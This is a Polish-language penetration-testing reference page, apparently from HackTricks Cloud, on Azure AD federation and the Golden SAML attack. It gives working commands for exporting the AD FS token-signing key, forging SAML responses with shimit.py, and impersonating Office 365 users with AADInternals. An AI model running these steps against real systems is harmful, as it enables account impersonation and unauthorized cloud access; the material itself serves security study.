Az - Federation

Podstawowe informacje

Federacja to zbiór domen, które nawiązały zaufanie. Poziom zaufania może się różnić, ale zazwyczaj obejmuje uwierzytelnianie i prawie zawsze obejmuje autoryzację. Typowa federacja może obejmować liczne organizacje, które nawiązały zaufanie do wspólnego dostępu do zestawu zasobów. Możesz federować swoje lokalne środowisko z Azure AD i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że wszystkie uwierzytelnienia użytkowników odbywają się lokalnie. Ta metoda pozwala administratorom na wdrożenie bardziej rygorystycznych poziomów kontroli dostępu. Federacja z AD FS i PingFederate jest dostępna.

W zasadzie w Federacji wszystkie uwierzytelnienia odbywają się w lokalnym środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą uzyskiwać dostęp do aplikacji w chmurze, używając swoich lokalnych poświadczeń.

Security Assertion Markup Language (SAML) jest używany do wymiany wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami.

W każdej konfiguracji federacyjnej są trzy strony:

Użytkownik lub Klient
Dostawca tożsamości (IdP)
Dostawca usług (SP)

https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji.
Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.
IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, pozwalając użytkownikowi na korzystanie z usługi.

Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:

SAML Attacks - HackTricks

Pivoting

AD FS to model tożsamości oparty na roszczeniach.
“..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), które są składane o użytkownikach i są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie.”
Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP.
Użytkownik jest identyfikowany przez ImmutableID. Jest on globalnie unikalny i przechowywany w Azure AD.
ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika.
Więcej informacji w https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Atak Golden SAML:

W ADFS, odpowiedź SAML jest podpisywana przez certyfikat podpisujący tokeny.
Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!
Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.
Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do Internetu.
Więcej informacji w https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Proces, w którym Dostawca tożsamości (IdP) produkuje SAMLResponse w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, odpowiedź może być podpisana lub szyfrowana przy użyciu prywatnego klucza IdP. Procedura ta umożliwia Dostawcy usług (SP) potwierdzenie autentyczności SAMLResponse, zapewniając, że została ona wydana przez zaufany IdP.

Można to porównać do ataku na złoty bilet, gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisujący tokeny dla złotego SAML) może być manipulowany w celu fałszowania obiektu uwierzytelniającego (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.

Złote SAML oferują pewne zalety:

Mogą być tworzone zdalnie, bez potrzeby bycia częścią domeny lub federacji w danym przypadku.
Pozostają skuteczne nawet przy włączonym uwierzytelnianiu dwuskładnikowym (2FA).
Prywatny klucz podpisujący tokeny nie odnawia się automatycznie.
Zmiana hasła użytkownika nie unieważnia już wygenerowanego SAML.

AWS + AD FS + Golden SAML

Usługi Federacji Active Directory (AD FS) to usługa Microsoftu, która ułatwia bezpieczną wymianę informacji o tożsamości między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala to usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.

Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego uzyskania dowolnych uprawnień w środowisku AWS. Atak wymaga prywatnego klucza używanego do podpisywania obiektów SAML, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.

Wymagania do przeprowadzenia ataku Golden SAML obejmują:

Prywatny klucz podpisujący tokeny
Publiczny certyfikat IdP
Nazwa IdP
Nazwa roli (rola do przyjęcia)
Domenę\username
Nazwę sesji roli w AWS
Identyfikator konta Amazon

Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania.

Aby uzyskać prywatny klucz, konieczny jest dostęp do konta użytkownika AD FS. Stamtąd prywatny klucz można wyeksportować z osobistego magazynu za pomocą narzędzi takich jak mimikatz. Aby zebrać inne wymagane informacje, możesz wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Z wszystkimi informacjami możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz udawać, używając shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> chmura

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i ich podszywanie się.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

HackTricks Cloud